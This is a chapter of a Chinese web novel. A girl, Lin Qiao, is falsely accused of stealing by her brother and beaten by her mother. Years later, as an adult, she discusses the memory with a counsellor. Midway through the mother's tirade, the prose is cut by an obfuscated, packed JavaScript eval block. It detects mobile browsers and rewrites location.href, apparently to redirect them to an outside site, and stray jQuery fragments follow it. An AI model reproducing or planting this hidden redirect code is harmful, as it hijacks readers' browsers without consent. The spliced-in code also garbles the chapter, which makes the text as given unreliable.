那时候的林乔一直这么坚持认为着。
魏启承带给她太多的美好，给她讲过许多那些跌宕起伏的故事。
有侠客仗剑走天涯，有书生披星戴月赶考，还有姑娘冲破束缚寻得自由。那些故事像一束光，让林乔误以为自己或许也能像故事中的主角一样，像个勇士一般勇敢地逃离这个令人窒息的家。
可现实从来不是故事，没有突如其来的转机，林乔也只是个手无缚鸡之力的小孩，连反抗的勇气都要攒好久。
当林乔抱着那本《九阳杂俎》往家走时，山间的风已经裹着凉意，吹得她鬓边的碎发乱飞。夕阳正斜斜地挂在西边的山头上，把土坯院墙染成了暖黄色.
她刚要把钥匙往锁孔里插，就听见院子里传来熟悉的哭闹声，那声音又尖又细，带着一股子蛮不讲理的劲儿。
是林耀。
她心里咯噔一下，下意识把书往怀里紧了紧。
按照往常，这个点林父林母应该带着林耀刚坐上回村的班车，要等天完全黑下来才会到家，怎么今天这么早？
林乔站在门口，耳朵贴在冰凉的木门上，仔细听着里面的动静。
“都说了下次给你买遥控车，今天人家店里没货！你还闹什么？”林母的声音带着不耐烦，语气却还是软下来，“听话，等下次赶集，就给你买最新款的！”
“我不！我就要今天买！你们就是不想给我买！”林耀的哭声更大了，“我不管，你们今天必须给我买！不然我就不吃饭！”
隔着木门，林乔隐约听到里面林父林母三人的声音，心中一紧，想要转身走人，等把书藏好再回来。
还没等她动作，院门忽然从里面拉开，林母叉着腰站在门口，脸上还带着没消散的怒气，身后跟着低头踢石子的林耀，还有站在一旁脸色沉沉的林父。
“我说外面什么动静，原来是你！”
林母的目光落在林乔身上，上下打量了她一番，语气带着责备：“让你在家洗衣服，你倒好，人影都没瞧不见！你去哪了？”
林乔的心跳得飞快，她低着头，不敢看林母的眼睛。林母的目光接着扫过她背上的书包，又落在她怀里鼓囊囊的东西上，眼神瞬间变得锐利起来：“怀里抱的啥？拿出来看看！”
林乔心里一慌，想到怀里的书，下意识就想把它往里藏，结果手上的力道一松，钥匙掉在地上，在黄土地上滚了两圈，裹了层灰。
“你看你毛手毛脚的！”林母皱着眉，语气更差了。
林乔连忙弯腰去捡钥匙，她的脑子飞速转动，把早就想好的借口在心里过了一遍，才抬起头说：“我去同学家写作业了，老师布置了好多作业，在家里写容易被打扰。”
“哦？这么认真？”林母撇了撇嘴，语气里带着几分不信，“我怎么不知道你还有同学愿意让你去家里写作业？你平时在学校不是连个说话的人都没有吗？”
林乔的脸瞬间涨红了，嘴唇动了动，想反驳却不知道该说什么。
林母见她不说话，也没再追问，转身往院子里走，丢下一句：“赶紧进来，去把饭烧上，我跟你爸累了一下午，都快饿死了。”
林乔松了口气，刚要跟着进去，一直低头踢石子的林耀突然凑了过来。
他先前因为没买到想要的遥控车，正一肚子火气没处撒，此刻瞥见林乔怀里露出来的书脊，眼睛瞬间亮了，像发现了新大陆一样。
那书的封皮是深蓝色的，泛着淡淡的光泽，上面还有好看的纹路，比他之前见过的所有书都要漂亮。
“你这是什么书？给我看看！”林耀伸手就想抢，手指都快碰到书页了，却被林乔猛地往后一躲避开。
林乔把书紧紧抱在怀里，后背都绷得发紧，像一只警惕的小兽，声音带着防备：“不行，这是同学借的，不能弄脏，也不能给别人看。”
“凭啥不给我看？”
林耀的火气一下就上来了，他盯着林乔紧绷的侧脸，突然像是想到了什么，眼睛一转，转头冲院子里的林母喊：
“妈！林乔撒谎！学校里根本没人跟她玩，她哪来的同学借她书？她肯定是骗你的！”
林乔的嘴角瞬间抿成一条直线，看向林耀。
“你胡说！”林乔反驳。
“我没胡说！”林耀被林乔突然冷下来的眼神吓了一跳，往后缩了缩，可很快又支棱起来。
他想到自己没买到玩具的不痛快，于是又提高了声音：“妈！你快来！林乔肯定是偷钱买的这本书！你前几天还说家里丢了五十块，是不是她拿的？她肯定是用偷来的钱买了这本书！”
“我没有！”林乔身体一震，没想到林耀能把这么一大盆脏水就这么泼到她身上来，“我根本没偷钱，你别血口喷人！”
“没偷？”林母原本已经走到了屋檐下，听到这句话又立刻转过身，快步走了过来，眼神里满是吃惊，随即又染上浓浓的怒意，“家里前阵子丢的五十块，我还以为是自己掉在路上了，心疼了好几天，闹了半天是你拿的？”
她上前一步，一把抓住林乔的胳膊，力道大得让林乔疼得皱起了眉。
“我说你最近怎么总往外跑，让你干活也找不到人，原来在偷偷乱花钱！你胆子可真大啊，敢偷家里的钱了！”
“我真的没有！”林乔用力想挣脱林母的手，可林母的手像钳子一样紧紧攥着她，让她动弹不得，“钱不是我偷的，书也是同学借的。我没有撒谎！”
站在一旁的林父一直没说话，只是皱了皱眉，看了眼怒气冲冲的林母，又看了眼争执不休的姐弟俩，最终什么都没说，只是转身走进了堂屋，把门关了起来，仿佛里面的争吵与他无关。
林耀见状，更是得意，凑到林母身边煽风点火：“妈，你看她都答不上来，肯定是偷的！她要是真借的，就说出来是哪个同学借的，你去问问不就知道了？”
林母的火气更盛了，手上的力道又加重了几分。
“对，你说！是哪个同学借的？”
她的声音拔高了不少，眼神里满是逼问：“我去问问，看看人家是不是真愿意把这么好的书借你！学校里的学生都是附近村子的，谁家会给孩子买这么贵的闲书？你当我傻吗？”
林乔的喉咙像被什么东西堵住了，魏启承的名字就在嘴边，可她怎么也说不出口。
她知道，要是说了魏启承，林母肯定会追问他是谁、住在哪，说不定还会跑到山上去找他，到时候不仅会给魏启承添麻烦，连她这点仅有的温暖都会被破坏。
“我……”林乔张了张嘴，声音带着哭腔，最终只是咬着牙重复，“钱不是我拿的，书是借的，我不能说同学的名字，会给人家添麻烦。”
“你还嘴硬！”林母看着她这副倔劲，火气一下就顶到了头顶，她抬头四处张望，想找个东西教训林乔。
很快，她的目光落在了墙角，那里放着一根不知道放了多久的干枯竹子，竹子有手腕那么粗，表面有些粗糙，看起来很结实。
林母几步走过去，一把捞起竹子，竹竿在她手里晃了晃，发出啪啪的声响。她朝着林乔走来，眼神里的怒意几乎要溢出来：“今天我非得好好教训你，让你知道撒谎偷钱的下场！”
林耀吓得连忙往堂屋跑，还不忘扒着门框偷看。
林乔看着逼近的林母，心里又怕又委屈。她想跑，可门口就这么大，根本无处可躲；想求饶，可话到嘴边却变成了倔强的沉默。
她没做错，为什么要认错？
竹子被挥出残影，带着风声落在林乔的背上，带出一阵火辣辣的疼。林乔咬着牙，把呜咽咽进肚子里，可却始终紧紧护着怀里的书，生怕被竹子砸到。
“让你撒谎！让你偷钱！让你不听话！”林母一边打，一边骂，竹子落下的频率越来越快，每一下都带着泄愤的力道，““我养你这么大，不是让你跟我作对的！女孩子家读那么多书有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407258|184538||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
啥用？不如早点嫁人换彩礼，还能给你弟弟攒点钱买房！”
“我没撒谎，也没偷钱！”
林乔的声音越来越小，身体因为疼痛而不停发抖，她蜷缩着身子，双手护着头，后背的疼痛渐渐麻木，可心里的疼却越来越清晰。
她先前还想着，等考上高中，就能离开这个家，去镇上读书，离林父林母远一点，离这些痛苦远一点。
可现在看来，那些美好的愿望，就像她之前洗衣服时盆里的泡泡，在阳光下五彩斑斓，看起来那么美好，可一碰就破，连一点痕迹都留不下。
不知过了多久，林乔的脸上突然一凉，原来是她哭了。她原本想忍住，可身体的疼痛和心里的委屈混在一起，让她再也撑不住。
身体的本能让林乔开始大口地呼吸，新鲜的空气被她吞进肺中，沾着泥土的味道，闷闷的，沉沉的。
眼前的世界开始旋转、颠倒，林母愤怒的脸渐渐变得模糊，耳边的骂声也越来越远。
“那后来呢？你的父母有发现钱不是你拿的吗？”
心理咨询中心，一个独立的咨询室内，穿着白大褂的面目和善的女咨询师，看着对面的女人，开口轻声询问道。
二十五岁的林乔摇了摇头，无意识地摩挲着沙发扶手，沙发套是浅灰色的，质地柔软，可她还是觉得心里空荡荡的。
“没有，或许他们早就知道了。”林乔脸上的神色很平淡，仿佛那些痛苦的记忆已经对她没什么影响了。
“只是对他们来说，我只是个可以用来换彩礼、给弟弟当垫脚石的工具，至于我有没有偷钱，根本不重要。他们需要的，只是一个发泄情绪的出口，一个可以随意指责的对象。”
“那你咨询的目的是什么，能和我讲讲吗？”咨询师递过来一杯温水，“是因为父母的后事，还是因为那个叫魏启承的朋友？”
林乔接过水杯，指尖传来温热的触感，她低头看着杯里的水，水面映出她的倒影，陌生又熟悉。
她沉默了几秒，才缓缓开口：“几天前，我收到老家的电话，说我爸妈在一场车祸里去世了，让我回去处理后事。我不想回去，觉得没什么好回去的。可又觉得，或许该回去看看……”
她的声音顿了顿，眼底闪过一丝复杂的情绪，有茫然，有犹豫，还有一丝不易察觉的抗拒。
“还有魏启承，我总在想，他到底是不是我幻想出来的？自从那天过后，他就像从来没有出现过一样，完全消失了。我去山上找他，但房子一夜之间也不见了，就像从来没有存在过一样。后来我问了周围认识的所有人，他们都说根本没有这样一个人。”
“我有时候会怀疑，是不是因为我太孤独、太想逃离那个家，才编造出这么一个朋友？”
“医生，你说我是不是精神出问题了？一切都是我幻想出来的。”林乔忽然抬起头。
女咨询师没有立刻回答，而是翻动着手里的量表，轻声说：
“从量表来看，你只是有点轻微焦虑，并没有精神问题的迹象。魏启承是不是真实存在的，或许没那么重要。重要的是，他给了你逃离困境的勇气，让你成为了现在的自己。”
她抬头看向林乔，依旧温柔地安慰她：
“你不想回去，或许不是因为恨，而是因为那些伤痛还没完全过去。但你可以试着回去，不是为了你的父母，而是为了和过去的自己告别。去看看那座山，看看那个院子，告诉自己，那些不好的日子，都已经过去了。”
“我真的可以吗？”
“当然，而且你已经做好决定了不是吗？”女咨询师笑得温和，视线越过林乔，落到诊室外的一个角落。
林乔顺着咨询师的目光，看向了被自己放在角落的行李箱——那是她昨天收拾好的行李。
她突然明白，自己其实早就做好了决定。
咨询师见状笑了笑：“遵循你的内心就好，它会告诉你该做什么。”